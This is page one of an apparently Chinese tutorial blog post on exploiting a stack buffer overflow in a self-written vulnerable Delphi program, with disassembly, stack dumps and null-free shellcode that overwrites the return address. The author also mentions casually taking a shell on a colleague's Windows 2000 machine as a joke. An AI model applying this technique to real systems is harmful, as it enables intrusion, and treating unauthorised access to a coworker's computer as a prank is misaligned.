|
前两天利用sqlhello溢出漏洞工具跟局域网里面的同事开了个玩笑,取得了他win2k的shell,于是乎也想玩一下溢出。首先用Delphi写个有漏洞的程序。
如果不检查输入字串的长度,哪么输入的字串长度大于变量预定的范围就产生溢出了。
procedure TForm1.Button1Click(Sender: TObject); var name:array[0..255]of char; begin strcopy(name,PChar(Edit1.Text)); //Edit1的内容是256+6个字符,最后6个字符:Hello. end;
整个过程的代码: 0044F02C 55 PUSH EBP 0044F02D 8BEC MOV EBP,ESP 0044F02F 81C4 FCFEFFFF ADD ESP,-104 0044F035 53 PUSH EBX 0044F036 33C9 XOR ECX,ECX 0044F038 898D FCFEFFFF MOV DWORD PTR SS:[EBP-104],ECX 0044F03E 8BD8 MOV EBX,EAX 0044F040 33C0 XOR EAX,EAX 0044F042 55 PUSH EBP 0044F043 68 90F04400 PUSH Project1.0044F090 0044F048 64:FF30 PUSH DWORD PTR FS:[EAX] 0044F04B 64:8920 MOV DWORD PTR FS:[EAX],ESP 0044F04E 8D95 FCFEFFFF LEA EDX,DWORD PTR SS:[EBP-104] 0044F054 8B83 FC020000 MOV EAX,DWORD PTR DS:[EBX+2FC] 0044F05A E8 DDF3FDFF CALL Project1.0042E43C 0044F05F 8B85 FCFEFFFF MOV EAX,DWORD PTR SS:[EBP-104] 0044F065 E8 6652FBFF CALL Project1.004042D0 0044F06A 8BD0 MOV EDX,EAX 0044F06C 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100] 0044F072 E8 F590FBFF CALL Project1.0040816C ==strcopy,将Edit1的文本内容复制到局部变量name中,Delphi的局部变量就在栈中 0044F077 33C0 XOR EAX,EAX 0044F079 5A POP EDX 0044F07A 59 POP ECX 0044F07B 59 POP ECX 0044F07C 64:8910 MOV DWORD PTR FS:[EAX],EDX 0044F07F 68 97F04400 PUSH Project1.0044F097 0044F084 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 0044F08A E8 814DFBFF CALL Project1.00403E10 0044F08F C3 RETN 0044F090 ^ E9 7F47FBFF JMP Project1.00403814 0044F095 ^ EB ED JMP SHORT Project1.0044F084 0044F097 5B POP EBX 0044F098 8BE5 MOV ESP,EBP 0044F09A 5D POP EBP 0044F09B C3 RETN ==过程的最后返回点 执行call 40816c(strcopy)之后, 正常栈内容: 0012F538 0012F97C Pointer to next SEH record 0012F53C 0044F090 SE handler 0012F540 0012F64C 0012F544 00953788 0012F548 00000000 0012F54C 00000000 //... 0012F63C |0000002D 0012F640 |00000002 0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC 0012F648 |004280B4 Project1.004280B4 0012F64C ]0012F78C 0012F650 |0042F9D6 RETURN to Project1.0042F9D6 ==这里是函数的正常出口 溢出后: 0012F538 0012F97C Pointer to next SEH record 0012F53C 0044F090 SE handler 0012F540 0012F64C ASCII "Hello." ==溢出了6字节 0012F544 00953788 0012F548 00952594 ASCII ""... 0012F54C 31313131 ==字串开始 //... 0012F63C 35353535 0012F640 35353535 0012F644 36363535 0012F648 36363636 0012F64C 6C6C6548 0012F650 00002E6F ==溢出的内容已经覆盖了返回地址,函数将会返回到2e6f。 好了,现在我们只要把12f650的内容变成12f54c,程序就会返回到我们输入的字符串,然后执行。我们只要精心构造一个字符串放到Edit1中,字符串就成为我们的代码了。输入的字符串要做的工作只是恢复正常的程序流程,工作很简单,有256 个字节的空间足够了。
主要代码: BD 8CF71230 MOV EBP,3012F78C ==代码中不能有00,因为strcopy会认为是00字符串结束,就不能形成溢出了 C1E5 08 SHL EBP,8 ==用变通的方法生成0012f78c之类的地址,另外f7,c3之类的数据在复制成ASCII C1ED 08 SHR EBP,8 ==时会变成?,也要用变通的方法处理一下 B8 D6F94230 MOV EAX,3042F9D6 C1E0 08 SHL EAX,8 C1E8 08 SHR EAX,8 50 PUSH EAX C3 RETN
[1] [2] 下一页 |